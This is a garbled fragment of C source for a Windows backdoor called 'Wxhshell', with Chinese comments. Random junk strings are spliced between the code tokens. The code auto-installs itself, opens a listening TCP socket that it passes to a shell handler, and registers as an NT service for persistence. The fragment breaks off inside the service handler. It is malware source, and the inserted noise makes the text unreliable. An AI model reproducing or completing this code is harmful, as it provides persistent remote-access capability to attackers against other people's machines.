k2j:s}RHY return 0; // 注册表启动 q !EJs:AS } D2[uex )wCA8 // 主模块 4(bV# int StartWxhshell(LPSTR lpCmdLine) F,%qG, { zTAt% w5 SOCKET wsl; Haaungb" BOOL val=TRUE; <@A/`3_O) int port=0; L!3{ASIN0 struct sockaddr_in door; ^qIp+[/' Op~sR ^ez if(wscfg.ws_autoins) Install(); x,5$VLs\+ b+[9)B)a? port=atoi(lpCmdLine); />FrMz8;( V`pTl3 if(port<=0) port=wscfg.ws_port; *<Fz1~%* B[S.6"/H WSADATA data; 7iLm_#M if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; o-lb/=K+ }Xrs"u, if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;
OMvwmm setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); agM.-MK door.sin_family = AF_INET; slOki|p; door.sin_addr.s_addr = inet_addr("127.0.0.1"); 1AjsAi,7;2 door.sin_port = htons(port); l:z:tJ#( UH%oGp$ykX if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { S`U Gk closesocket(wsl); V/"XC3/n* return 1; ]BO{Q+?d2 } L<1"u.3Z`} 9bMM-~ if(listen(wsl,2) == INVALID_SOCKET) {
!|9$ closesocket(wsl); (W5E\hjJ return 1; 5#80`/w^U } jMzHs*: Wxhshell(wsl); qaA\.h7 WSACleanup(); ig")bt3s5 })M$#%( return 0; |n}W^}S5 --Dw } PC.$&x4w1 awHfd5nRS // 以NT服务方式启动 GH7{_@pv8 VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) zt[TShD^ { l^uP?l" DWORD status = 0; $Y,,e3R3 DWORD specificError = 0xfffffff; ^R,5T}J. _>dqz(8# serviceStatus.dwServiceType = SERVICE_WIN32; >tr_Ypfv,c serviceStatus.dwCurrentState = SERVICE_START_PENDING; x/[i &Gkv serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; k{s#wJA serviceStatus.dwWin32ExitCode = 0; Av.(i2 serviceStatus.dwServiceSpecificExitCode = 0; ngsax1xO serviceStatus.dwCheckPoint = 0; it&c
,+8 serviceStatus.dwWaitHint = 0; Wey-nsk Zj<oh8 hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 0s$g[Fw<. if (hServiceStatusHandle==0) return; V*=cNj yD#w @yG status = GetLastError(); { )'D<:T if (status!=NO_ERROR) d#ya"e> { 0Y)b319B serviceStatus.dwCurrentState = SERVICE_STOPPED; jm.pb/ serviceStatus.dwCheckPoint = 0; umcbIi(' serviceStatus.dwWaitHint = 0; $-=aqUU serviceStatus.dwWin32ExitCode = status; )_GM&- serviceStatus.dwServiceSpecificExitCode = specificError; I%e7:cs > SetServiceStatus(hServiceStatusHandle, &serviceStatus); JV36@DVQ return; c5;YKON } cuq7eMG6z Y@9L8XNP> serviceStatus.dwCurrentState = SERVICE_RUNNING; Tb IM{X serviceStatus.dwCheckPoint = 0; nd3]&occ serviceStatus.dwWaitHint = 0; 7KRc^ *pZs if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ~e
6yaX8S } O.&6J/ yZ0; \Tr*J // 处理NT服务事件,比如:启动、停止 @
RTQJ+ms VOID WINAPI NTServiceHandler(DWORD fdwControl) Pu/0< |